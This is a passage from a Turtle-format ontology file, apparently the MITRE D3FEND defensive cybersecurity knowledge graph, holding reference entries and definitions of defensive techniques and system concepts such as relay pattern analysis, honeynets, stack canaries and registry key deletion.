    d3f:kb-reference-title "Secure/Multipurpose Internet Mail Extensions (S/MIME) Version 3.1 Message Specification" .

d3f:Reference-SecuringWebTransactions a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Securing Web Transactions" ;
    d3f:has-link "https://www.nccoe.nist.gov/sites/default/files/library/sp1800/tls-serv-cert-mgt-nist-sp1800-16b-final.pdf"^^xsd:anyURI ;
    d3f:kb-abstract """Organizations risk losing revenue, customers, and reputation, and exposing internal or customer data to
attackers if they do not properly manage Transport Layer Security (TLS) server certificates. TLS is the
most widely used security protocol to secure web transactions and other communications on the
internet and internal networks. TLS server certificates are central to the security and operation of
internet-facing and internal web services. Improper TLS server certificate management results in
significant outages to web applications and services-such as government services, online banking, flight operations, and mission-critical services within an organization-and increased risk of security breaches.""" ;
    d3f:kb-author "William Haag, Murugiah Souppaya, Paul Turner, William C. Barker, Brett Pleasant, Susan Symington" ;
    d3f:kb-organization "NIST" ;
    d3f:kb-reference-of d3f:ActiveCertificateAnalysis ;
    d3f:kb-reference-title "Securing Web Transactions" .

d3f:Reference-SoftwareVulnerabilityGraphDatabase a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Software vulnerability graph database" ;
    d3f:has-link "https://patents.google.com/patent/WO2020028535A1"^^xsd:anyURI ;
    d3f:kb-abstract "To analyze open-source code at a large scale, a security domain graph language (\"GL\") has been created that functions as a vulnerability description language and facilitates program analysis queries. The SGL facilitates building and maintaining a graph database to catalogue vulnerabilities found in open-source components. This graphical database can be accessed via a database interface directly or accessed by an agent that interacts with the database interface. To build the graph database, a database interface processes an open-source component and creates graph structures which represent relationships present in the open-source component. The database interface transforms a vulnerability description into a canonical form based on a schema for the graph database and updates the database based on a determination of whether the vulnerability is a duplicate. This ensures quality and consistency of the vulnerability dataset maintained in the graph database." ;
    d3f:kb-author "Darius Tsien Wei FOO, Ming Yi ANG, Asankhaya Sharma, Jie Shun YEO" ;
    d3f:kb-organization "Veracode, Inc." ;
    d3f:kb-reference-of d3f:AssetVulnerabilityEnumeration,
        d3f:SystemDependencyMapping,
        d3f:SystemVulnerabilityAssessment ;
    d3f:kb-reference-title "Software vulnerability graph database" .

d3f:Reference-SystemAndMethodForIdentifyingThePresenceOfMalwareUsingMini-trapsSetAtNetworkEndpoints_FidelisCybersecuritySolutionsInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System and method for identifying the presence of malware using mini-traps set at network endpoints - Fidelis Cybersecurity Solutions Inc" ;
    d3f:has-link "https://patents.google.com/patent/US9807114B2/en?oq=US-9807114-B2"^^xsd:anyURI ;
    d3f:kb-abstract "A system for identifying the presence of advanced persistent threats on a network including a plurality of resources, interconnected to form a network, at least one decoy resource, at least one mini-trap installed on at least one of the plurality of resources and functionally associated with at one of the at least one decoy resource, the at least one mini-trap comprising deceptive information directing malware accessing the at least one mini-trap to the decoy resource associated therewith, and a manager node forming part of the network, locally or remotely, and configured to manage placement of the at least one mini-trap on the at least one of the plurality of resources and association between the at least one mini-trap and the decoy resource associated therewith." ;
    d3f:kb-author "Doron Kolton; Rami Mizrahi; Omer Zohar; Benny Ben-Rabi; Alex Barbalat; Shlomi Gabai" ;
    d3f:kb-mitre-analysis """Questionable or all files (as determined by the enterprise) are forwarded to the decoy network. Using a manager node user interface, you can setup fake information (ex. IP address of a decoy FTP server)
and deploy decoy physical or virtual endpoints.""" ;
    d3f:kb-organization "Fidelis Cybersecurity Solutions Inc" ;
    d3f:kb-reference-of d3f:DecoyNetworkResource,
        d3f:DecoyUserCredential ;
    d3f:kb-reference-title "System and method for identifying the presence of malware using mini-traps set at network endpoints" .

d3f:Reference-SystemForImplementingThreatDetectionUsingDailyNetworkTrafficCommunityOutliers_VECTRANETWORKSInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - System for implementing threat detection using daily network traffic community outliers - VECTRA NETWORKS Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20160191560A1"^^xsd:anyURI ;
    d3f:kb-abstract "A method and system for identifying insider threats within an organization is provided. The approach constructs an internal connectivity graph to identify communities of hosts/users, and checks for abnormal behavior relative to past behaviors." ;
    d3f:kb-author "David Lopes Pegna; Himanshu Mhatre; Oliver Brdiczka" ;
    d3f:kb-mitre-analysis "This patent describes techniques for detecting insider attacks. Network packet capture data is collected and stored for processing. Metadata is extracted for each communication session on the organization's network and includes information on source and destination host destination port, number of connection attempts, size of data exchanged, duration and time of the communication. The metadata is used to build a connectivity graph of the network and identify groups of similar hosts that exhibit similar behavior. For each group of similar behavior identified, a baseline behavior pattern profile is developed. Network activity for a host within a group that deviates over a threshold from the baseline behavior patterns is identified as suspicious and an alert is generated." ;
    d3f:kb-organization "VECTRA NETWORKS Inc" ;
    d3f:kb-reference-of d3f:NetworkTrafficCommunityDeviation,
        d3f:ProtocolMetadataAnomalyDetection ;
    d3f:kb-reference-title "System for implementing threat detection using daily network traffic community outliers" .

d3f:Reference-SystemsAndMethodsForDetectingAnd_orHandlingTargetedAttacksInTheEmailChannel_GraphusInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Systems and methods for detecting and/or handling targeted attacks in the email channel - Graphus Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20170324767A1"^^xsd:anyURI ;
    d3f:kb-abstract "Techniques for detecting and/or handling target attacks in an enterprise's email channel are provided. The techniques include receiving aspects of an incoming email message addressed to a first email account holder, selecting a recipient interaction profile and/or a sender profile from a plurality of predetermined profiles stored in a memory based upon the received properties, determining a message trust rating associated with the incoming email message based upon the incoming email message and the selected recipient interaction profile and/or the sender profile; and generating an alert identifying the incoming email message as including a security risk based upon the determined message trust rating. The recipient interaction profile includes information associating the first email account holder and a plurality of email senders from whom email messages have previously been received for the first email account holder, and the sender profile includes information associating a sender of the incoming email message with characteristics determined from a plurality of email messages previously received from the sender." ;
    d3f:kb-author "Manoj Kumar Srivastava" ;
    d3f:kb-mitre-analysis """The patent describes using sender trust rating and sender MTA trust rating as an indicator of level of email security risk.

### Sender Reputation explanation
This patent includes Sender Reputation because it describes sender trust rating being used as an indicator of the level of security risk and/or trust level associated with an email sender. The sender trust rating may be determined based on one or more of:

* length of time sender has known the enterprise
* number of recipients in the enterprise the sender interacts with
* sender vs. enterprise originated message ratio
* sender messages open vs. not-open ratio
* number of emails received from this sender
* number of emails replied for this sender
* number of emails from this sender not opened
* number of emails from this sender not opened that contain an attachment
* number of emails from this sender not opened that contain a URL
* number of emails sent to this sender
* number of email replies received from this sender

Based on the trust rating an alert is generated identifying the incoming email message as a security risk.

### Sender MTA Reputation explanation
This patent includes Sender MTA Reputation because it describes sender MTA trust rating as an indicator of the level of security risk and/or trust level associated with a sender MTA. The trust rating may be determined based on one or more of:

* length of time MTA has interacted with the enterprise
* number of sender domains sending emails from the MTA
* number of recipients in the enterprise the MTA sends emails to
* number of emails received from this MTA
* number of email replies received from this MTA

Based on the trust rating an alert is generated identifying the incoming email message as a security risk.""" ;
    d3f:kb-organization "Graphus Inc" ;
    d3f:kb-reference-of d3f:SenderMTAReputationAnalysis,
        d3f:SenderReputationAnalysis ;
    d3f:kb-reference-title "Systems and methods for detecting and/or handling targeted attacks in the email channel" .

d3f:Reference-TRITONMalwareRemainsThreattoGlobalCriticalInfrastructureICS a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - TRITON Malware Remains Threat to Global Critical Infrastructure Industrial Control Systems (ICS)" ;
    d3f:has-link "https://www.ic3.gov/CSA/2022/220325.pdf"^^xsd:anyURI ;
    d3f:kb-abstract """The FBI is warning that the group responsible for the deployment of TRITON malware against a Middle East-based petrochemical plant's safety instrumented system in 2017, the Russian Central Scientific Research Institute of Chemistry and Mechanics (TsNIIKhM), continues to conduct activity targeting the global energy sector. This warning follows the 24 March 2022 unsealing of a US indictment of a Russian national and TsNIIkhM employee involved in that attack. TRITON was malware designed to cause physical safety systems to cease operating or to operate in an unsafe manner. Its potential impact could be similar to cyberattacks previously attributed to Russia that caused blackouts in Ukraine in 2015 and 2016.

 TRITON malware targeted the Schneider Electric Triconex safety instrumented system (SIS), which is used to initiate safe shutdown procedures in the event of an emergency. TRITON malware affected Triconex Tricon safety controllers by modifying in-memory firmware to add additional programming, potentially leading to damage of a facility, system downtime, and even loss of life should the SIS fail to initiate safe shutdown procedures. Schneider Electric addressed the vulnerability (with the Tricon model 3008 v10.0-10.4) when version 11.3 of the Tricon controller was released in June 2018; however, older versions of the controller remain in use and are vulnerable to a similar attack. As a result, the FBI is alerting the ICS community of continued activity by this group and requests that any indicators of potential compromise be reported to the FBI. """ ;
    d3f:kb-author "FBI" ;
    d3f:kb-reference-of d3f:OperatingModeMonitoring,
        d3f:OperatingModeRestriction ;
    d3f:kb-reference-title "TRITON Malware Remains Threat to Global Critical Infrastructure Industrial Control Systems (ICS)" .

d3f:Reference-UserActivityFromClearingEventLogs_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2016-04-002: User Activity from Clearing Event Logs - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2016-04-002/"^^xsd:anyURI ;
    d3f:kb-abstract "It is unlikely that event log data would be cleared during normal operations, and it is likely that malicious attackers may try to cover their tracks by clearing an event log. When an event log gets cleared, it is suspicious. Alerting when a \"Clear Event Log\" is generated could point to this intruder technique. Centrally collecting events has the added benefit of making it much harder for attackers to cover their tracks. Event Forwarding permits sources to forward multiple copies of a collected event to multiple collectors, thus enabling redundant event collection. Using a redundant event collection model can minimize the single point of failure risk." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:SystemFileAnalysis ;
    d3f:kb-reference-title "CAR-2016-04-002: User Activity from Clearing Event Logs" .

d3f:Reference-UserLoggedInToMultipleHosts_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-02-012: User Logged in to Multiple Hosts - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-02-012/"^^xsd:anyURI ;
    d3f:kb-abstract """Most users use only one or two machines during the normal course of business. User accounts that log in to multiple machines, especially over a short period of time, may be compromised. Remote logins among multiple machines may be an indicator of Lateral Movement.

Certain users will likely appear as being logged into several machines and may need to be "whitelisted." Such users would include network admins or user names that are common to many hosts.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:AuthenticationEventThresholding,
        d3f:AuthorizationEventThresholding ;
    d3f:kb-reference-title "CAR-2013-02-012: User Logged in to Multiple Hosts" .

d3f:Reference-www.biometric-solutions.com_keystroke-dynamics a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - http://www.biometric-solutions.com/keystroke-dynamics.html - biometric-solutions.com" ;
    d3f:has-link "http://www.biometric-solutions.com/keystroke-dynamics.html"^^xsd:anyURI ;
    d3f:kb-abstract """Keystroke dynamics or typing dynamics refers to the automated method of identifying or confirming the identity of an individual based on the manner and the rhythm of typing on a keyboard. Keystroke dynamics is a behavioral biometric, this means that the biometric factor is 'something you do'.

Already during the second world war a technique known as The Fist of the Sender was used by military intelligence to distinguish based on the rhythm whether a morse code message was send by ally or enemy. These days each household has at least one computer keyboard, making keystroke dynamics the easiest biometric solution to implement in terms of hardware.

With keystroke dynamics the biometric template used to identify an individual is based on the typing pattern, the rhythm and the speed of typing on a keyboard. The raw measurements used for keystroke dynamics are dwell time and flight time.""" ;
    d3f:kb-author "Biometric Solutions" ;
    d3f:kb-organization "Biometric Solutions" ;
    d3f:kb-reference-of d3f:InputDeviceAnalysis ;
    d3f:kb-reference-title "Keystroke Dynamics" .

d3f:RegistryKeyDeletion a d3f:RegistryKeyDeletion,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Registry Key Deletion" ;
    d3f:d3fend-id "D3-RKD" ;
    d3f:definition "Delete a registry key." ;
    d3f:deletes d3f:WindowsRegistryKey ;
    d3f:kb-reference d3f:Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:deletes ;
            owl:someValuesFrom d3f:WindowsRegistryKey ],
        d3f:ObjectEviction .

d3f:ReinforcementLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Reinforcement Learning" ;
    d3f:d3fend-id "D3A-RL" ;
    d3f:definition "Reinforcement Learning is a subjugate technique of machine learning that uses feedback to reinforce good or valid rules and lessen the reliance of bad or ineffective rules" ;
    d3f:kb-article """## References
Reinforcement learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Reinforcement_learning).""" ;
    rdfs:subClassOf d3f:MachineLearning .

d3f:RelayPatternAnalysis a d3f:RelayPatternAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Relay Pattern Analysis" ;
    d3f:analyzes d3f:OutboundInternetNetworkTraffic ;
    d3f:d3fend-id "D3-RPA" ;
    d3f:definition "The detection of an internal host relaying traffic between the internal network and the external network." ;
    d3f:kb-article """## How it works
A relay may use a variety of proxying, forwarding, or routing technologies to bridge a protected network with an external network. A defensive analytic to detect a relay network may compare the network sessions among multiple hosts. Hosts which have nearly similar network statistics may be part of a relay network. The statistics may include number of bytes sent to and from, time of session initiation, packet size, or packet arrival time data.

## Considerations

Complex intranet VPNs or routing encapsulation may affect the detection analytics.  In addition, unwanted packets might not be forwarded, and additional packets may be added at the relay, further complicating detection.""" ;
    d3f:kb-reference d3f:Reference-MaliciousRelayDetectionOnNetworks_VECTRANETWORKSInc ;
    d3f:synonym "Relay Network Detection" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:OutboundInternetNetworkTraffic ],
        d3f:NetworkTrafficAnalysis .

d3f:RemoteAttacker a owl:Class ;
    rdfs:label "Remote Attacker" ;
    d3f:definition "An attacker who exploits systems without being physically present near the target, often over the internet." ;
    rdfs:subClassOf d3f:Attacker .

d3f:RemoteFileAccessMediation a d3f:RemoteFileAccessMediation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Remote File Access Mediation" ;
    d3f:d3fend-id "D3-RFAM" ;
    d3f:definition "Remote file access mediation is the process of managing and securing access to file systems over a network to ensure that only authorized users or processes can interact with remote files." ;
    d3f:isolates d3f:File ;
    d3f:kb-article """## How it works

Remote File Access Mediation focuses on controlling how users or processes access file systems from remote locations. This involves ensuring secure connections, often through protocols like SFTP or SMB, and enforcing permissions to prevent unauthorized access or data breaches. Examples of enforcement areas include accessing shared drives or cloud storage from remote offices or home networks.""" ;
    d3f:kb-reference d3f:Reference-NIST-Special-Publication-800-53-Revision-5 ;
    d3f:synonym "File Share Access Mediation" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:isolates ;
            owl:someValuesFrom d3f:File ],
        d3f:NetworkResourceAccessMediation .

d3f:RemoteFirmwareUpdateMonitoring a d3f:RemoteFirmwareUpdateMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Remote Firmware Update Monitoring" ;
    d3f:d3fend-id "D3-RFUM" ;
    d3f:definition "Monitoring of remote firmware update commands to identify unauthorized software installations." ;
    d3f:detects d3f:OTDeviceFirmwareCommand ;
    d3f:kb-article """## How it works
By deploying sensors within the OT environment to passively monitor network traffic, tools can leverage deep packet inspection to identify protocol-specific commands and generate logs of relevant firmware activity. Additionally, these tools may incorporate behavioral and signature-based analysis to enhance detection and alerting capabilities.""" ;
    d3f:kb-reference d3f:Reference-MethodForDetectingAnomaliesInTimeSeriesDataProducedByDevicesOfAnInfrastructureInANetwork ;
    d3f:monitors d3f:OTNetworkTraffic ;
    rdfs:seeAlso <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:detects ;
            owl:someValuesFrom d3f:OTDeviceFirmwareCommand ],
        [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:OTNetworkTraffic ],
        d3f:ApplicationProtocolCommandAnalysis .

d3f:RestoreFile a d3f:RestoreFile,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Restore File" ;
    d3f:d3fend-id "D3-RF" ;
    d3f:definition "Restoring a file for an entity to access." ;
    d3f:kb-reference d3f:Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks ;
    d3f:restores d3f:File ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restores ;
            owl:someValuesFrom d3f:File ],
        d3f:RestoreObject .

d3f:RestoreUserAccountAccess a d3f:RestoreUserAccountAccess,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Restore User Account Access" ;
    d3f:d3fend-id "D3-RUAA" ;
    d3f:definition "Restoring a user account's access to resources." ;
    d3f:kb-reference d3f:Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks ;
    d3f:restores d3f:UserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restores ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:RestoreAccess .

d3f:ResumeProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Resume Process" ;
    d3f:resumes d3f:Process ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:resumes ;
            owl:someValuesFrom d3f:Process ],
        d3f:SystemCall .

d3f:ResumeThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Resume Thread" ;
    d3f:resumes d3f:Thread ;
    rdfs:seeAlso <https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:resumes ;
            owl:someValuesFrom d3f:Thread ],
        d3f:SystemCall .

d3f:RoutingAccessMediation a d3f:RoutingAccessMediation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Routing Access Mediation" ;
    d3f:d3fend-id "D3-RAM" ;
    d3f:definition "Routing access mediation is a network security approach that manages and controls access at the network layer using VPNs, tunneling protocols, firewall rules, and traffic inspection to ensure secure and efficient data routing." ;
    d3f:isolates d3f:Network ;
    d3f:kb-article """## How it works

Routing Access Mediation is a network security strategy focused on managing and controlling access at the network layer. It includes the use of VPNs for secure remote access, tunneling protocols for encapsulating data, firewall rules for filtering traffic, and advanced inspection techniques like Cisco's Context-Based Access Control (CBAC) to monitor and regulate data flow. This approach ensures secure and efficient routing of data across networks, protecting against unauthorized access and enhancing overall network security.""" ;
    d3f:kb-reference d3f:Reference-WhatIsNetworkAccessControl ;
    rdfs:seeAlso <https://www.geeksforgeeks.org/context-based-access-control-cbac/> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:isolates ;
            owl:someValuesFrom d3f:Network ],
        d3f:NetworkAccessMediation .

d3f:SMBFileCreateEvent a owl:Class ;
    rdfs:label "SMB File Create Event" ;
    d3f:definition "An event where a file is created if it does not already exist, failing if the file is already present. This operation strictly enforces new file creation." ;
    rdfs:subClassOf d3f:SMBEvent .

d3f:SPARTAThing a owl:Class ;
    rdfs:label "SPARTA Thing" ;
    rdfs:subClassOf d3f:ExternalThreatModelThing .

d3f:SSHConnectionOpenEvent a owl:Class ;
    rdfs:label "SSH Connection Open Event" ;
    d3f:definition "An event indicating the successful establishment of an SSH connection between a client and a server, marking the initiation of a secure session." ;
    rdfs:subClassOf d3f:NetworkConnectionOpenEvent,
        d3f:SSHEvent .

d3f:SaveRegister a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Save Registers" ;
    d3f:copies d3f:ProcessorRegister ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:copies ;
            owl:someValuesFrom d3f:ProcessorRegister ],
        d3f:SystemCall .

d3f:ScriptApplicationProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Script Application Process" ;
    d3f:definition "A script application process is an application process interpreting an executable script." ;
    d3f:interprets d3f:ExecutableScript ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:interprets ;
            owl:someValuesFrom d3f:ExecutableScript ],
        d3f:ApplicationProcess ;
    skos:altLabel "Script Process" .

d3f:SecurityToken a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Security Token" ;
    d3f:contains d3f:AccessToken ;
    d3f:definition "Security tokens are peripheral devices used to prove one's identity electronically (as in the case of a customer trying to access their bank account). The token is used in addition to or in place of a password to prove that the customer is who they claim to be. The token acts like an electronic key to access something." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Security_token> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:AccessToken ],
        d3f:HardwareDevice .

d3f:ServiceDependency a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Service Dependency" ;
    d3f:definition "A service dependency indicates a service has an activity, agent, or another service which relies on it in order to be functional." ;
    rdfs:subClassOf d3f:Dependency .

d3f:ServiceStartEvent a owl:Class ;
    rdfs:label "Service Start Event" ;
    d3f:definition "An event representing the initiation of a service application, transitioning it from an inactive state to an active state, enabling its background or networked operations." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ServiceInstallationEvent ],
        d3f:ApplicationStartEvent,
        d3f:ServiceEvent .

d3f:SetRegisters a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Set Registers" ;
    d3f:modifies d3f:ProcessorRegister ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ProcessorRegister ],
        d3f:SystemCall .

d3f:SetThreadContext a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Set Thread Context" ;
    d3f:modifies d3f:Thread ;
    rdfs:seeAlso <https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:Thread ],
        d3f:SystemCall .

d3f:SharedResourceAccessFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Shared Resource Access Function" ;
    d3f:accesses d3f:Resource ;
    d3f:definition "A function which access a shared resource." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:Resource ],
        d3f:Subroutine .

d3f:ShimDatabase a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Shim Database" ;
    d3f:definition "A application configuration database that contains or points to software shims (e.g., for backward compatibility, patches, etc.)" ;
    d3f:synonym "Microsoft Shim Database File" ;
    rdfs:subClassOf d3f:ApplicationConfigurationDatabase .

d3f:SlowSymbolicLink a owl:Class ;
    rdfs:label "Slow Symbolic Link" ;
    d3f:definition "A slow symbolic link is any symbolic link on a Unix filesystem that is not a fast symbolic link; slow symlink is thus retroactively termed from fast symlink.  Slow symbolic links stored the symbolic link information as data in regular files." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Symbolic_link#Storage_of_symbolic_links> ;
    rdfs:subClassOf d3f:SymbolicLink,
        d3f:UnixLink ;
    skos:altLabel "Slow Symlink" .

d3f:SoftwareLibraryFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Software Library File" ;
    d3f:contains d3f:Subroutine ;
    d3f:definition "A software library is a collection of software components that are used to build a software product." ;
    d3f:may-contain d3f:ExecutableBinary,
        d3f:ExecutableScript ;
    rdfs:seeAlso <https://dbpedia.org/page/Library_(computing)> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:ExecutableBinary ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Subroutine ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:ExecutableScript ],
        d3f:File .

d3f:SoftwarePackagingTool a owl:Class ;
    rdfs:label "Software Packaging Tool" ;
    d3f:definition "A tool that automates the process of packaging either or both binary code  and source code for use on one or more target platforms." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Build_automation>,
        <http://dbpedia.org/resource/Package_manager> ;
    rdfs:subClassOf d3f:BuildTool .

d3f:SourceCodeReference a owl:Class ;
    rdfs:label "Source Code Reference" ;
    d3f:pref-label "Source Code" ;
    rdfs:subClassOf d3f:TechniqueReference .

d3f:StackFrameCanary a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Stack Frame Canary" ;
    d3f:definition "Stack canaries, named for their analogy to a canary in a coal mine, are used to detect a stack buffer overflow before execution of malicious code can occur. This method works by placing a small integer, the value of which is randomly chosen at program start, in memory just before the stack return pointer. Most buffer overflows overwrite memory from lower to higher memory addresses, so in order to overwrite the return pointer (and thus take control of the process) the canary value must also be overwritten. This value is checked to make sure it has not changed before a routine uses the return pointer on the stack. This technique can greatly increase the difficulty of exploiting a stack buffer overflow because it forces the attacker to gain control of the instruction pointer by some non-traditional means such as corrupting other important variables on the stack." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Stack_buffer_overflow#Stack_canaries> ;
    rdfs:subClassOf d3f:StackComponent ;
    skos:altLabel "Stack Canary" .

d3f:StandaloneHoneynet a d3f:StandaloneHoneynet,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Standalone Honeynet" ;
    d3f:d3fend-id "D3-SHN" ;
    d3f:definition "An environment created for the purpose of attracting attackers and eliciting their behaviors that is not connected to any production enterprise systems." ;
    d3f:kb-article """## How it works
A standalone honeynet does not directly interact with the real enterprise environment. It may be located near or in some portion of the enterprise address space, but it does not interact with enterprise resources.

## Considerations
A standalone honeynet is a lower risk to deploy compared to connected or integrated honeynets due to its isolation from the enterprise network. However, this comes at cost in loss of fidelity and realism. Significant extra effort must be made in order to make the environment look realistic.""" ;
    d3f:kb-reference d3f:Reference-DynamicSelectionAndGenerationOfAVirtualCloneForDetonationOfSuspiciousContentWithinAHoneyNetwork_PaloAltoNetworksInc ;
    d3f:spoofs d3f:IntranetNetwork ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:spoofs ;
            owl:someValuesFrom d3f:IntranetNetwork ],
        d3f:DecoyEnvironment .

d3f:StringPatternMatching a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "String Pattern Matching" ;
    d3f:d3fend-id "D3A-SPM" ;
    d3f:definition "String pattern-matching algorithms, also known as string-matching algorithms, are an important class of string algorithms that try to find a place where one or several strings (also called patterns) are found within a larger string or text" ;
    d3f:kb-article """## How it works
A basic example of string searching is when the pattern and the searched text are arrays of elements of an alphabet (finite set) Σ. Σ may be a human language alphabet, for example, the letters A through Z and other applications may use a binary alphabet (Σ = {0,1}) or a DNA alphabet (Σ = {A,C,G,T}) in bioinformatics.

In practice, the method of feasible string-search algorithm may be affected by the string encoding. In particular, if a variable-width encoding is in use, then it may be slower to find the Nth character, perhaps requiring time proportional to N. This may significantly slow some search algorithms. One of many possible solutions is to search for the sequence of code units instead, but doing so may produce false matches unless the encoding is specifically designed to avoid it.

## References
1. String-searching algorithm. (2023, April 8). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/String-searching_algorithm)""" ;
    rdfs:subClassOf d3f:PatternMatching .

d3f:SupervisedLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Supervised Learning" ;
    d3f:d3fend-id "D3A-SL" ;
    d3f:definition "Supervised learning establishes a relationship between the known input and output variables to conduct a predictive analysis." ;
    d3f:kb-article """## References
Supervised learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Supervised_learning).""" ;
    rdfs:subClassOf d3f:MachineLearning .

d3f:SuspendProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Suspend Process" ;
    d3f:suspends d3f:Process ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:suspends ;
            owl:someValuesFrom d3f:Process ],
        d3f:SystemCall .

d3f:SuspendThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Suspend Thread" ;
    d3f:definition "Suspending a thread causes the thread to stop executing user-mode code." ;
    d3f:suspends d3f:Thread ;
    rdfs:seeAlso <https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:suspends ;
            owl:someValuesFrom d3f:Thread ],
        d3f:SystemCall .

d3f:SymbolicLogic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Symbolic Logic" ;
    d3f:d3fend-id "D3A-SL" ;
    d3f:definition "Symbolic Logic, also known as formal logic, is a branch of mathematics that uses symbolic representations for logical expressions and relationships. It provides a systematic method for examining the structure of arguments and reasoning, focusing on the relationships between propositions rather than the content of those propositions." ;
    d3f:kb-article """## How it Works

## References
1. Symbolic Logic. (2023, June 6). In _Wolfram Mathworld_. [Link](https://mathworld.wolfram.com/SymbolicLogic.html)
2. Hughes, G. and Schagrin, M. (2023, Apr 19). Formal Logic. _Encyclopedia Brittanica_. [Link](https://www.britannica.com/topic/formal-logic)
3. Carnap, R. (1953). Introduction to Symbolic Logic and Its Applications. Dover Publications. [Link](https://archive.org/details/rudolf-carnap-introduction-to-symbolic-logic-and-its-applications/page/3/mode/2up)""" ;
    rdfs:subClassOf d3f:AnalyticTechnique .

d3f:SystemApplicationCycleCount a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Application Cycle Count" ;
    d3f:definition "A system variable that tracks the number of times the controller has completed its main program loop (scan cycle) since startup or last reset." ;
